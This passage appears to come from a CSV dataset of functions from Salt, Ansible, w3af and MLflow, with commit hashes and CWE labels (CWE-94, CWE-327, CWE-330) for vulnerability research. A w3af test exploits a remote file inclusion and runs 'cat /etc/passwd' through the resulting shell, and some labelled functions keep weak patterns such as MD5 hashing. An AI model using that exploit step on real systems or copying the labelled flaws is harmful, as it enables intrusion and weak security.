            self.opts['sock_dir'],
            'minion_event_{0}_pull.ipc'.format(id_hash)
        )
        self.epub_sock = self.context.socket(zmq.PUB)
        if self.opts.get('ipc_mode', '') == 'tcp':
            epub_uri = 'tcp://127.0.0.1:{0}'.format(
                self.opts['tcp_pub_port']
            )
            epull_uri = 'tcp://127.0.0.1:{0}'.format(
                self.opts['tcp_pull_port']
            )
        else:
            epub_uri = 'ipc://{0}'.format(epub_sock_path)
            salt.utils.check_ipc_path_max_len(epub_uri)
            epull_uri = 'ipc://{0}'.format(epull_sock_path)
            salt.utils.check_ipc_path_max_len(epull_uri)
        log.debug(
            '{0} PUB socket URI: {1}'.format(
                self.__class__.__name__, epub_uri
            )
        )
        log.debug(
            '{0} PULL socket URI: {1}'.format(
                self.__class__.__name__, epull_uri
            )
        )

        # Create the pull socket
        self.epull_sock = self.context.socket(zmq.PULL)
        # Bind the event sockets
        self.epub_sock.bind(epub_uri)
        self.epull_sock.bind(epull_uri)
        # Restrict access to the sockets
        if self.opts.get('ipc_mode', '') != 'tcp':
            os.chmod(
                epub_sock_path,
                448
            )
            os.chmod(
                epull_sock_path,
                448
            )

        self.poller = zmq.Poller()
        self.epoller = zmq.Poller()
        self.socket = self.context.socket(zmq.SUB)
        self.socket.setsockopt(zmq.SUBSCRIBE, '')
        self.socket.setsockopt(zmq.IDENTITY, self.opts['id'])
        if self.opts['ipv6'] is True and hasattr(zmq, 'IPV4ONLY'):
            # IPv6 sockets work for both IPv6 and IPv4 addresses
            self.socket.setsockopt(zmq.IPV4ONLY, 0)
        if hasattr(zmq, 'RECONNECT_IVL_MAX'):
            self.socket.setsockopt(
                zmq.RECONNECT_IVL_MAX, self.opts['recon_max']
            )
        if hasattr(zmq, 'TCP_KEEPALIVE'):
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE, self.opts['tcp_keepalive']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_IDLE, self.opts['tcp_keepalive_idle']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_CNT, self.opts['tcp_keepalive_cnt']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_INTVL, self.opts['tcp_keepalive_intvl']
            )
        self.socket.connect(self.master_pub)
        self.poller.register(self.socket, zmq.POLLIN)
        self.epoller.register(self.epull_sock, zmq.POLLIN)
        # Send an event to the master that the minion is live
        self._fire_master(
            'Minion {0} started at {1}'.format(
            self.opts['id'],
            time.asctime()
            ),
            'minion_start'
        )

        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()
        # On first startup execute a state run if configured to do so
        self._state_run()

        loop_interval = int(self.opts['loop_interval'])
        while True:
            try:
                self.schedule.eval()
                # Check if scheduler requires lower loop interval than
                # the loop_interval setting
                if self.schedule.loop_interval < loop_interval:
                    loop_interval = self.schedule.loop_interval
                    log.debug(
                        'Overriding loop_interval because of scheduled jobs.'
                    )
            except Exception as exc:
                log.error(
                    'Exception {0} occurred in scheduled job'.format(exc)
                )
            try:
                socks = dict(self.poller.poll(
                    loop_interval * 1000)
                )
                if self.socket in socks and socks[self.socket] == zmq.POLLIN:
                    payload = self.serial.loads(self.socket.recv())
                    self._handle_payload(payload)
                time.sleep(0.05)
                # Check the event system
                if self.epoller.poll(1):
                    try:
                        while True:
                            package = self.epull_sock.recv(zmq.NOBLOCK)
                            if package.startswith('module_refresh'):
                                self.module_refresh()
                            elif package.startswith('pillar_refresh'):
                                self.pillar_refresh()
                            self.epub_sock.send(package)
                    except Exception:
                        pass
            except zmq.ZMQError:
                # This is thrown by the interrupt caused by python handling the
                # SIGCHLD. This is a safe error and we just start the poll
                # again
                continue
            except Exception:
                log.critical(
                    'An exception occurred while polling the minion',
                    exc_info=True
                )","CWE-94, CWE-327",saltstack/salt,f5085aef78fd2e1e0456b95695b7cae4121f3a39,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        try:
            log.info(
                '{0} is starting as user \'{1}\''.format(
                    self.__class__.__name__,
                    getpass.getuser()
                )
            )
        except Exception as err:
            # Only windows is allowed to fail here. See #3189. Log as debug in
            # that case. Else, error.
            log.log(
                salt.utils.is_windows() and logging.DEBUG or logging.ERROR,
                'Failed to get the user who is starting {0}'.format(
                    self.__class__.__name__
                ),
                exc_info=err
            )
        signal.signal(signal.SIGTERM, self.clean_die)
        log.debug('Minion ""{0}"" trying to tune in'.format(self.opts['id']))
        self.context = zmq.Context()

        # Prepare the minion event system
        #
        # Start with the publish socket
        id_hash = hashlib.md5(self.opts['id']).hexdigest()
        epub_sock_path = os.path.join(
            self.opts['sock_dir'],
            'minion_event_{0}_pub.ipc'.format(id_hash)
        )
        epull_sock_path = os.path.join(
            self.opts['sock_dir'],
            'minion_event_{0}_pull.ipc'.format(id_hash)
        )
        self.epub_sock = self.context.socket(zmq.PUB)
        if self.opts.get('ipc_mode', '') == 'tcp':
            epub_uri = 'tcp://127.0.0.1:{0}'.format(
                self.opts['tcp_pub_port']
            )
            epull_uri = 'tcp://127.0.0.1:{0}'.format(
                self.opts['tcp_pull_port']
            )
        else:
            epub_uri = 'ipc://{0}'.format(epub_sock_path)
            salt.utils.check_ipc_path_max_len(epub_uri)
            epull_uri = 'ipc://{0}'.format(epull_sock_path)
            salt.utils.check_ipc_path_max_len(epull_uri)
        log.debug(
            '{0} PUB socket URI: {1}'.format(
                self.__class__.__name__, epub_uri
            )
        )
        log.debug(
            '{0} PULL socket URI: {1}'.format(
                self.__class__.__name__, epull_uri
            )
        )

        # Create the pull socket
        self.epull_sock = self.context.socket(zmq.PULL)
        # Bind the event sockets
        self.epub_sock.bind(epub_uri)
        self.epull_sock.bind(epull_uri)
        # Restrict access to the sockets
        if not self.opts.get('ipc_mode', '') == 'tcp':
            os.chmod(
                epub_sock_path,
                448
            )
            os.chmod(
                epull_sock_path,
                448
            )

        self.poller = zmq.Poller()
        self.epoller = zmq.Poller()
        self.socket = self.context.socket(zmq.SUB)
        self.socket.setsockopt(zmq.SUBSCRIBE, '')
        self.socket.setsockopt(zmq.IDENTITY, self.opts['id'])
        if self.opts['ipv6'] is True and hasattr(zmq, 'IPV4ONLY'):
            # IPv6 sockets work for both IPv6 and IPv4 addresses
            self.socket.setsockopt(zmq.IPV4ONLY, 0)
        if hasattr(zmq, 'RECONNECT_IVL_MAX'):
            self.socket.setsockopt(
                zmq.RECONNECT_IVL_MAX, self.opts['recon_max']
            )
        if hasattr(zmq, 'TCP_KEEPALIVE'):
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE, self.opts['tcp_keepalive']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_IDLE, self.opts['tcp_keepalive_idle']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_CNT, self.opts['tcp_keepalive_cnt']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_INTVL, self.opts['tcp_keepalive_intvl']
            )
        self.socket.connect(self.master_pub)
        self.poller.register(self.socket, zmq.POLLIN)
        self.epoller.register(self.epull_sock, zmq.POLLIN)
        # Send an event to the master that the minion is live
        self._fire_master(
            'Minion {0} started at {1}'.format(
            self.opts['id'],
            time.asctime()
            ),
            'minion_start'
        )

        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()
        # On first startup execute a state run if configured to do so
        self._state_run()

        loop_interval = int(self.opts['loop_interval'])
        while True:
            try:
                self.schedule.eval()
                # Check if scheduler requires lower loop interval than
                # the loop_interval setting
                if self.schedule.loop_interval < loop_interval:
                    loop_interval = self.schedule.loop_interval
                    log.debug(
                        'Overriding loop_interval because of scheduled jobs.'
                    )
            except Exception as exc:
                log.error(
                    'Exception {0} occurred in scheduled job'.format(exc)
                )
            try:
                socks = dict(self.poller.poll(
                    loop_interval * 1000)
                )
                if self.socket in socks and socks[self.socket] == zmq.POLLIN:
                    payload = self.serial.loads(self.socket.recv())
                    self._handle_payload(payload)
                time.sleep(0.05)
                # Check the event system
                if self.epoller.poll(1):
                    try:
                        while True:
                            package = self.epull_sock.recv(zmq.NOBLOCK)
                            if package.startswith('module_refresh'):
                                self.module_refresh()
                            elif package.startswith('pillar_refresh'):
                                self.pillar_refresh()
                            self.epub_sock.send(package)
                    except Exception:
                        pass
            except zmq.ZMQError:
                # This is thrown by the interrupt caused by python handling the
                # SIGCHLD. This is a safe error and we just start the poll
                # again
                continue
            except Exception:
                log.critical(
                    'An exception occurred while polling the minion',
                    exc_info=True
                )"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/__init__.py,1,"def _make_tmp_path(self, remote_user=None):
        '''
        Create and return a temporary path on a remote box.
        '''

        become_unprivileged = self._is_become_unprivileged()

        # deal with tmpdir creation
        basefile = 'ansible-tmp-%s-%s' % (time.time(), random.randint(0, 2**48))
        # Network connection plugins (network_cli, netconf, etc.) execute on the controller, rather than the remote host.
        # As such, we want to avoid using remote_user for paths  as remote_user may not line up with the local user
        # This is a hack and should be solved by more intelligent handling of remote_tmp in 2.7
        if getattr(self._connection, '_remote_is_local', False):
            tmpdir = C.DEFAULT_LOCAL_TMP
        else:
            # NOTE: shell plugins should populate this setting anyways, but they dont do remote expansion, which
            # we need for 'non posix' systems like cloud-init and solaris
            try:
                tmpdir = self._connection._shell.get_option('remote_tmp')
            except AnsibleError:
                tmpdir = '~/.ansible/tmp'
            tmpdir = self._remote_expand_user(tmpdir, sudoable=False)

        basefile = self._connection._shell._generate_temp_dir_name()
        cmd = self._connection._shell.mkdtemp(basefile=basefile, system=become_unprivileged, tmpdir=tmpdir)
        result = self._low_level_execute_command(cmd, sudoable=False)

        # error handling on this seems a little aggressive?
        if result['rc'] != 0:
            if result['rc'] == 5:
                output = 'Authentication failure.'
            elif result['rc'] == 255 and self._connection.transport in ('ssh',):

                if self._play_context.verbosity > 3:
                    output = u'SSH encountered an unknown error. The output was:\n%s%s' % (result['stdout'], result['stderr'])
                else:
                    output = (u'SSH encountered an unknown error during the connection. '
                              'We recommend you re-run the command using -vvvv, which will enable SSH debugging output to help diagnose the issue')

            elif u'No space left on device' in result['stderr']:
                output = result['stderr']
            else:
                output = ('Failed to create temporary directory.'
                          'In some cases, you may have been able to authenticate and did not have permissions on the target directory. '
                          'Consider changing the remote tmp path in ansible.cfg to a path rooted in ""/tmp"", for more error information use -vvv. '
                          'Failed command was: %s, exited with result %d' % (cmd, result['rc']))
            if 'stdout' in result and result['stdout'] != u'':
                output = output + u"", stdout output: %s"" % result['stdout']
            if self._play_context.verbosity > 3 and 'stderr' in result and result['stderr'] != u'':
                output += u"", stderr output: %s"" % result['stderr']
            raise AnsibleConnectionFailure(output)
        else:
            self._cleanup_remote_tmp = True

        try:
            stdout_parts = result['stdout'].strip().split('%s=' % basefile, 1)
            rc = self._connection._shell.join_path(stdout_parts[-1], u'').splitlines()[-1]
        except IndexError:
            # stdout was empty or just space, set to / to trigger error in next if
            rc = '/'

        # Catch failure conditions, files should never be
        # written to locations in /.
        if rc == '/':
            raise AnsibleError('failed to resolve remote temporary directory from %s: `%s` returned empty string' % (basefile, cmd))

        self._connection._shell.tmpdir = rc

        return rc",CWE-330,ansible/ansible,ecf99d5e1ff732a7777010facd6c98bb0994605e,"def _make_tmp_path(self, remote_user=None):
        '''
        Create and return a temporary path on a remote box.
        '''

        become_unprivileged = self._is_become_unprivileged()
        try:
            remote_tmp = self._connection._shell.get_option('remote_tmp')
        except AnsibleError:
            remote_tmp = '~/.ansible/tmp'

        # deal with tmpdir creation
        basefile = 'ansible-tmp-%s-%s' % (time.time(), random.randint(0, 2**48))
        # Network connection plugins (network_cli, netconf, etc.) execute on the controller, rather than the remote host.
        # As such, we want to avoid using remote_user for paths  as remote_user may not line up with the local user
        # This is a hack and should be solved by more intelligent handling of remote_tmp in 2.7
        if getattr(self._connection, '_remote_is_local', False):
            tmpdir = C.DEFAULT_LOCAL_TMP
        else:
            tmpdir = self._remote_expand_user(remote_tmp, sudoable=False)
        cmd = self._connection._shell.mkdtemp(basefile=basefile, system=become_unprivileged, tmpdir=tmpdir)
        result = self._low_level_execute_command(cmd, sudoable=False)

        # error handling on this seems a little aggressive?
        if result['rc'] != 0:
            if result['rc'] == 5:
                output = 'Authentication failure.'
            elif result['rc'] == 255 and self._connection.transport in ('ssh',):

                if self._play_context.verbosity > 3:
                    output = u'SSH encountered an unknown error. The output was:\n%s%s' % (result['stdout'], result['stderr'])
                else:
                    output = (u'SSH encountered an unknown error during the connection. '
                              'We recommend you re-run the command using -vvvv, which will enable SSH debugging output to help diagnose the issue')

            elif u'No space left on device' in result['stderr']:
                output = result['stderr']
            else:
                output = ('Authentication or permission failure. '
                          'In some cases, you may have been able to authenticate and did not have permissions on the target directory. '
                          'Consider changing the remote tmp path in ansible.cfg to a path rooted in ""/tmp"". '
                          'Failed command was: %s, exited with result %d' % (cmd, result['rc']))
            if 'stdout' in result and result['stdout'] != u'':
                output = output + u"", stdout output: %s"" % result['stdout']
            if self._play_context.verbosity > 3 and 'stderr' in result and result['stderr'] != u'':
                output += u"", stderr output: %s"" % result['stderr']
            raise AnsibleConnectionFailure(output)
        else:
            self._cleanup_remote_tmp = True

        try:
            stdout_parts = result['stdout'].strip().split('%s=' % basefile, 1)
            rc = self._connection._shell.join_path(stdout_parts[-1], u'').splitlines()[-1]
        except IndexError:
            # stdout was empty or just space, set to / to trigger error in next if
            rc = '/'

        # Catch failure conditions, files should never be
        # written to locations in /.
        if rc == '/':
            raise AnsibleError('failed to resolve remote temporary directory from %s: `%s` returned empty string' % (basefile, cmd))

        self._connection._shell.tmpdir = rc

        return rc"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/tests/attack/test_rfi.py,0,"def test_found_exploit_rfi(self):
        cfg = self._run_configs['cfg']
        self._scan(cfg['target'] + '?file=section.php', cfg['plugins'])

        # Assert the general results
        vulns = self.kb.get('rfi', 'rfi')
        self.assertEquals(1, len(vulns))
        
        vuln = vulns[0]
        self.assertEquals( vuln.get_name(), 'Remote code execution')
        self.assertEquals( vuln.getURL().url_string, self.target_url)

        vuln_to_exploit_id = vuln.get_id()
        
        plugin = self.w3afcore.plugins.get_plugin_inst('attack','rfi' )
        
        self.assertTrue( plugin.canExploit( vuln_to_exploit_id ) )
        
        exploit_result = plugin.exploit( vuln_to_exploit_id )

        self.assertGreaterEqual(len(exploit_result), 1)
        
        #
        # Now I start testing the shell itself!
        #
        shell = exploit_result[0]
        etc_passwd = shell.generic_user_input('exec', ['cat','/etc/passwd'] )
        
        self.assertTrue( 'root' in etc_passwd )
        
        lsp = shell.generic_user_input('lsp', [])
        self.assertTrue( 'apache_config_directory' in lsp )
        
        payload = shell.generic_user_input('payload', ['apache_config_directory'])
        self.assertTrue( payload is None )",,andresriancho/w3af,8b82f5b4d839c26a1f3390634f5e9977cfd7db6c,"def test_found_exploit_rfi(self):
        cfg = self._run_configs['cfg']
        self._scan(cfg['target'] + '?file=section.php', cfg['plugins'])

        # Assert the general results
        vulns = self.kb.get('rfi', 'rfi')
        self.assertEquals(1, len(vulns))
        
        vuln = vulns[0]
        self.assertEquals( vuln.get_name(), 'Remote code execution')
        self.assertEquals( vuln.getURL().url_string, self.target_url)

        vuln_to_exploit_id = vuln.getId()
        
        plugin = self.w3afcore.plugins.get_plugin_inst('attack','rfi' )
        
        self.assertTrue( plugin.canExploit( vuln_to_exploit_id ) )
        
        exploit_result = plugin.exploit( vuln_to_exploit_id )

        self.assertGreaterEqual(len(exploit_result), 1)
        
        #
        # Now I start testing the shell itself!
        #
        shell = exploit_result[0]
        etc_passwd = shell.generic_user_input('exec', ['cat','/etc/passwd'] )
        
        self.assertTrue( 'root' in etc_passwd )
        
        lsp = shell.generic_user_input('lsp', [])
        self.assertTrue( 'apache_config_directory' in lsp )
        
        payload = shell.generic_user_input('payload', ['apache_config_directory'])
        self.assertTrue( payload is None )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/modules/test_zypperpkg.py,0,"def test_wildcard_to_query_unsupported_operators(self):
        '''
        Test wildcard to query unsupported operators.

        :return:
        '''
        xmldoc = """"""<?xml version='1.0'?><stream>
        <search-result version=""0.0""><solvable-list>
        <solvable status=""installed"" name=""libzypp"" kind=""package"" edition=""16.2.4-19.5"" arch=""x86_64"" repository=""foo""/>
        <solvable status=""other-version"" name=""libzypp"" kind=""package"" edition=""16.2.5-25.1"" arch=""x86_64"" repository=""foo""/>
        <solvable status=""other-version"" name=""libzypp"" kind=""package"" edition=""17.2.6-27.9.1"" arch=""x86_64"" repository=""foo""/>
        </solvable-list></search-result></stream>
        """"""
        _zpr = MagicMock()
        _zpr.nolock.xml.call = MagicMock(return_value=minidom.parseString(xmldoc))
        with self.assertRaises(CommandExecutionError):
            for op in ['>>', '==', '<<', '+']:
                zypper.Wildcard(_zpr)('libzypp', '{0}*.1'.format(op))",,saltstack/salt,43ad8a6b5a54b1564daf893d7aa29ed2e3e7692e,"def test_wildcard_to_query_unsupported_operators(self):
        '''
        Test wildcard to query unsupported operators.

        :return:
        '''
        xmldoc = """"""<?xml version='1.0'?><stream>
        <search-result version=""0.0""><solvable-list>
        <solvable status=""installed"" name=""libzypp"" kind=""package"" edition=""16.2.4-19.5"" arch=""x86_64"" repository=""foo""/>
        <solvable status=""other-version"" name=""libzypp"" kind=""package"" edition=""16.2.5-25.1"" arch=""x86_64"" repository=""foo""/>
        <solvable status=""other-version"" name=""libzypp"" kind=""package"" edition=""17.2.6-27.9.1"" arch=""x86_64"" repository=""foo""/>
        </solvable-list></search-result></stream>
        """"""
        _zpr = MagicMock()
        _zpr.nolock.xml.call = MagicMock(return_value=minidom.parseString(xmldoc))
        with self.assertRaises(CommandExecutionError):
            for op in ['>>', '==', '<<', '+']:
                zypper.Wildcard(_zpr)('libzypp', '{0}*.1'.format(op))"
,UNKNOWN,UNKNOWN,mlflow/models/evaluation/base.py,1,"def evaluate(
    model: Union[str, ""mlflow.pyfunc.PyFuncModel""],
    data,
    *,
    targets,
    model_type: str,
    dataset_name=None,
    dataset_path=None,
    feature_names: list = None,
    evaluators=None,
    evaluator_config=None,
    custom_metrics=None,
    validation_thresholds=None,
    baseline_model=None,
    env_manager=""local"",
):
    """"""
    Evaluate a PyFunc model on the specified dataset using one or more specified ``evaluators``, and
    log resulting metrics & artifacts to MLflow Tracking. Set thresholds on the generated metrics to
    validate model quality. For additional overview information, see
    :ref:`the Model Evaluation documentation <model-evaluation>`.

    Default Evaluator behavior:
     - The default evaluator, which can be invoked with ``evaluators=""default""`` or
       ``evaluators=None``, supports the ``""regressor""`` and ``""classifier""`` model types.
       It generates a variety of model performance metrics, model performance plots, and
       model explanations.

     - For both the ``""regressor""`` and ``""classifier""`` model types, the default evaluator
       generates model summary plots and feature importance plots using
       `SHAP <https://shap.readthedocs.io/en/latest/index.html>`_.

     - For regressor models, the default evaluator additionally logs:
        - **metrics**: example_count, mean_absolute_error, mean_squared_error,
          root_mean_squared_error, sum_on_target, mean_on_target, r2_score, max_error,
          mean_absolute_percentage_error.

     - For binary classifiers, the default evaluator additionally logs:
        - **metrics**: true_negatives, false_positives, false_negatives, true_positives, recall,
          precision, f1_score, accuracy_score, example_count, log_loss, roc_auc, 
          precision_recall_auc.
        - **artifacts**: lift curve plot, precision-recall plot, ROC plot.

     - For multiclass classifiers, the default evaluator additionally logs:
        - **metrics**: accuracy_score, example_count, f1_score_micro, f1_score_macro, log_loss
        - **artifacts**: A CSV file for ""per_class_metrics"" (per-class metrics includes
          true_negatives/false_positives/false_negatives/true_positives/recall/precision/roc_auc,
          precision_recall_auc), precision-recall merged curves plot, ROC merged curves plot.

     - For sklearn models, the default evaluator additionally logs the model's evaluation criterion
       (e.g. mean accuracy for a classifier) computed by `model.score` method.

     - The logged MLflow metric keys are constructed using the format:
       ``{metric_name}_on_{dataset_name}``. Any preexisting metrics with the same name are
       overwritten.

     - The metrics/artifacts listed above are logged to the active MLflow run.
       If no active run exists, a new MLflow run is created for logging these metrics and
       artifacts. Note that no metrics/artifacts are logged for the ``baseline_model``.

     - Additionally, information about the specified dataset - hash, name (if specified), path
       (if specified), and the UUID of the model that evaluated it - is logged to the
       ``mlflow.datasets`` tag.

     - The available ``evaluator_config`` options for the default evaluator include:
        - **log_model_explainability**: A boolean value specifying whether or not to log model
          explainability insights, default value is True.
        - **explainability_algorithm**: A string to specify the SHAP Explainer algorithm for model
          explainability. Supported algorithm includes: 'exact', 'permutation', 'partition',
          'kernel'.
          If not set, ``shap.Explainer`` is used with the ""auto"" algorithm, which chooses the best
          Explainer based on the model.
        - **explainability_nsamples**: The number of sample rows to use for computing model
          explainability insights. Default value is 2000.
        - **explainability_kernel_link**: The kernel link function used by shap kernal explainer.
          Available values are ""identity"" and ""logit"". Default value is ""identity"".
        - **max_classes_for_multiclass_roc_pr**:
          For multiclass classification tasks, the maximum number of classes for which to log
          the per-class ROC curve and Precision-Recall curve. If the number of classes is
          larger than the configured maximum, these curves are not logged.
        - **metric_prefix**: An optional prefix to prepend to the name of each metric produced
          during evaluation.
        - **log_metrics_with_dataset_info**: A boolean value specifying whether or not to include
          information about the evaluation dataset in the name of each metric logged to MLflow
          Tracking during evaluation, default value is True.
        - **pos_label**: If specified, the positive label to use when computing classification
          metrics such as precision, recall, f1, etc. for binary classification models. For
          multiclass classification and regression models, this parameter will be ignored.
        - **average**: The averaging method to use when computing classification metrics such as
          precision, recall, f1, etc. for multiclass classification models
          (default: ``'weighted'``). For binary classification and regression models, this
          parameter will be ignored.
        - **sample_weights**: Weights for each sample to apply when computing model performance
          metrics.

     - Limitations of evaluation dataset:
        - For classification tasks, dataset labels are used to infer the total number of classes.
        - For binary classification tasks, the negative label value must be 0 or -1 or False, and
          the positive label value must be 1 or True.

     - Limitations of metrics/artifacts computation:
        - For classification tasks, some metric and artifact computations require the model to
          output class probabilities. Currently, for scikit-learn models, the default evaluator
          calls the ``predict_proba`` method on the underlying model to obtain probabilities. For
          other model types, the default evaluator does not compute metrics/artifacts that require
          probability outputs.

     - Limitations of default evaluator logging model explainability insights:
        - The ``shap.Explainer`` ``auto`` algorithm uses the ``Linear`` explainer for linear models
          and the ``Tree`` explainer for tree models. Because SHAP's ``Linear`` and ``Tree``
          explainers do not support multi-class classification, the default evaluator falls back to
          using the ``Exact`` or ``Permutation`` explainers for multi-class classification tasks.
        - Logging model explainability insights is not currently supported for PySpark models.
        - The evaluation dataset label values must be numeric or boolean, all feature values
          must be numeric, and each feature column must only contain scalar values.

     - Limitations when environment restoration is enabled:
        - When environment restoration is enabled for the evaluated model (i.e. a non-local 
          ``env_manager`` is specified), the model is loaded as a client that invokes a MLflow 
          Model Scoring Server process in an independent Python environment with the model's 
          training time dependencies installed. As such, methods like ``predict_proba`` (for 
          probability outputs) or ``score`` (computes the evaluation criterian for sklearn models) 
          of the model become inaccessible and the default evaluator does not compute metrics or 
          artifacts that require those methods.
        - Because the model is an MLflow Model Server process, SHAP explanations are slower to 
          compute. As such, model explainaibility is disabled when a non-local ``env_manager`` 
          specified, unless the ``evaluator_config`` option **log_model_explainability** is 
          explicitly set to ``True``.

    :param model: A pyfunc model instance, or a URI referring to such a model.

    :param data: One of the following:

                 - A numpy array or list of evaluation features, excluding labels.

                 - A Pandas DataFrame or Spark DataFrame, containing evaluation features and
                   labels. If ``feature_names`` argument not specified, all columns are regarded
                   as feature columns. Otherwise, only column names present in ``feature_names``
                   are regarded as feature columns. If it is Spark DataFrame, only the first 10000
                   rows in the Spark DataFrame will be used as evaluation data.

    :param targets: If ``data`` is a numpy array or list, a numpy array or list of evaluation
                    labels. If ``data`` is a DataFrame, the string name of a column from ``data``
                    that contains evaluation labels.

    :param model_type: A string describing the model type. The default evaluator
                       supports ``""regressor""`` and ``""classifier""`` as model types.

    :param dataset_name: (Optional) The name of the dataset, must not contain double quotes (``“``).
                         The name is logged to the ``mlflow.datasets`` tag for lineage tracking
                         purposes. If not specified, the dataset hash is used as the dataset name.

    :param dataset_path: (Optional) The path where the data is stored. Must not contain double
                         quotes (``“``). If specified, the path is logged to the ``mlflow.datasets``
                         tag for lineage tracking purposes.

    :param feature_names: (Optional) If the ``data`` argument is a feature data numpy array or list,
                          ``feature_names`` is a list of the feature names for each feature. If
                          ``None``, then the ``feature_names`` are generated using the format
                          ``feature_{feature_index}``. If the ``data`` argument is a Pandas
                          DataFrame or a Spark DataFrame, ``feature_names`` is a list of the names
                          of the feature columns in the DataFrame. If ``None``, then all columns
                          except the label column are regarded as feature columns.

    :param evaluators: The name of the evaluator to use for model evaluation, or a list of
                       evaluator names. If unspecified, all evaluators capable of evaluating the
                       specified model on the specified dataset are used. The default evaluator
                       can be referred to by the name ``""default""``. To see all available
                       evaluators, call :py:func:`mlflow.models.list_evaluators`.

    :param evaluator_config: A dictionary of additional configurations to supply to the evaluator.
                             If multiple evaluators are specified, each configuration should be
                             supplied as a nested dictionary whose key is the evaluator name.

    :param custom_metrics: (Optional) A list of custom metric functions. A custom metric
                           function is required to take in two parameters:

                           - ``Union[pandas.Dataframe, pyspark.sql.DataFrame]``: The first being a
                             Pandas or Spark DataFrame containing ``prediction`` and ``target``
                             column. The ``prediction`` column contains the predictions made by
                             the model. The ``target`` column contains the corresponding labels
                             to the predictions made on that row.
                           - ``Dict``: The second is a dictionary containing the metrics calculated
                             by the default evaluator. The keys are the names of the metrics
                             and the values are the scalar values of the metrics. Refer to the
                             DefaultEvaluator behavior section for what metrics will be returned
                             based on the type of model (i.e. classifier or regressor).
                           - (Optional) ``str``: the path to a temporary directory that can be used
                             by the custom metric function to temporarily store produced artifacts.
                             The directory will be deleted after the artifacts are logged.

                           A custom metric function can return in the following format:

                           - ``Dict[AnyStr, Union[int, float, np.number]``: a singular dictionary of
                             custom metrics, where the keys are the names of the metrics, and the
                             values are the scalar values of the metrics.
                           - ``Tuple[Dict[AnyStr, Union[int,float,np.number]], Dict[AnyStr,Any]]``:
                             a tuple of a dict containing the custom metrics, and a dict of
                             artifacts, where the keys are the names of the artifacts, and the
                             values are objects representing the artifacts.

                           Object types that artifacts can be represented as:

                           - A string uri representing the file path to the artifact. MLflow will
                             infer the type of the artifact based on the file extension.
                           - A string representation of a JSON object. This will be saved as a
                             .json artifact.
                           - Pandas DataFrame. This will be resolved as a CSV artifact.
                           - Numpy array. This will be saved as a .npy artifact.
                           - Matplotlib Figure. This will be saved as an image artifact. Note that
                             ``matplotlib.pyplot.savefig`` is called behind the scene with default
                             configurations. To customize, either save the figure with the desired
                             configurations and return its file path or define customizations
                             through environment variables in ``matplotlib.rcParams``.
                           - Other objects will be attempted to be pickled with the default
                             protocol.

                           .. code-block:: python
                               :caption: Custom Metric Function Boilerplate

                               def custom_metrics_boilerplate(eval_df, builtin_metrics):
                                   # ...
                                   metrics: Dict[AnyStr, Union[int, float, np.number]] = some_dict
                                   artifacts: Dict[AnyStr, Any] = some_artifact_dict
                                   # ...
                                   if artifacts is not None:
                                       return metrics, artifacts
                                   return metrics

                           .. code-block:: python
                               :caption: Example usage of custom metrics

                               def squared_diff_plus_one(eval_df, builtin_metrics):
                                   return {
                                       ""squared_diff_plus_one"": (
                                           np.sum(
                                               np.abs(
                                                   eval_df[""prediction""] - eval_df[""target""] + 1
                                               ) ** 2
                                           )
                                       )
                                   }

                               def scatter_plot(eval_df, builtin_metrics, artifacts_dir):
                                   import tempfile
                                   plt.scatter(eval_df['prediction'], eval_df['target'])
                                   plt.xlabel('Targets')
                                   plt.ylabel('Predictions')
                                   plt.title(""Targets vs. Predictions"")
                                   plt.savefig(os.path.join(artifacts_dir, ""example.png""))
                                   return {}, {
                                       ""pred_target_scatter"": os.path.join(
                                            artifacts_dir, ""example.png""
                                       )
                                   }

                               with mlflow.start_run():
                                   mlflow.evaluate(
                                       model,
                                       data,
                                       targets,
                                       model_type,
                                       dataset_name,
                                       evaluators,
                                       custom_metrics=[squared_diff_plus_one, scatter_plot],
                                   )

    :param validation_thresholds: (Optional) A dictionary of metric name to
                                  :py:class:`mlflow.models.MetricThreshold` used for
                                  model validation. Each metric name must either be the
                                  name of a builtin metric or the name of a custom
                                  metric defined in the ``custom_metrics`` parameter.

                                  .. code-block:: python
                                      :caption: Example of Model Validation

                                      from mlflow.models import MetricThreshold

                                      thresholds = {
                                          ""accuracy_score"": MetricThreshold(
                                              threshold=0.8,            # accuracy \
should be >=0.8
                                              min_absolute_change=0.05, # accuracy \
should be at least 5 percent greater than baseline model accuracy
                                              min_relative_change=0.05, # accuracy \
should be at least 0.05 greater than baseline model accuracy
                                              higher_is_better=True
                                          ),
                                      }

                                      with mlflow.start_run():
                                          mlflow.evaluate(
                                              model=your_candidate_model,
                                              data,
                                              targets,
                                              model_type,
                                              dataset_name,
                                              evaluators,
                                              validation_thresholds=thresholds,
                                              baseline_model=your_baseline_model,
                                          )
                                            
                                  See :ref:`the Model Validation documentation <model-validation>` 
                                  for more details.

    :param baseline_model: (Optional) A string URI referring to an MLflow model with the pyfunc
                           flavor. If specified, the candidate ``model`` is compared to this 
                           baseline for model validation purposes.

    :param env_manager: Specify an environment manager to load the candidate ``model`` and 
                        ``baseline_model`` in isolated Python evironments and restore their 
                        dependencies. Default value is ``local``, and the following values are 
                        supported:

                         - ``virtualenv``: (Recommended) Use virtualenv to restore the python 
                           environment that was used to train the model.
                         - ``conda``:  Use Conda to restore the software environment that was used 
                           to train the model.
                         - ``local``: Use the current Python environment for model inference, which
                           may differ from the environment used to train the model and may lead to
                           errors or invalid predictions.

    :return: An :py:class:`mlflow.models.EvaluationResult` instance containing
             metrics of candidate model and baseline model, and artifacts of candidate model.
    """"""
    import signal
    from mlflow.pyfunc import PyFuncModel, _ServedPyFuncModel, _load_model_or_server
    from mlflow.utils import env_manager as _EnvManager

    _EnvManager.validate(env_manager)

    if isinstance(model, str):
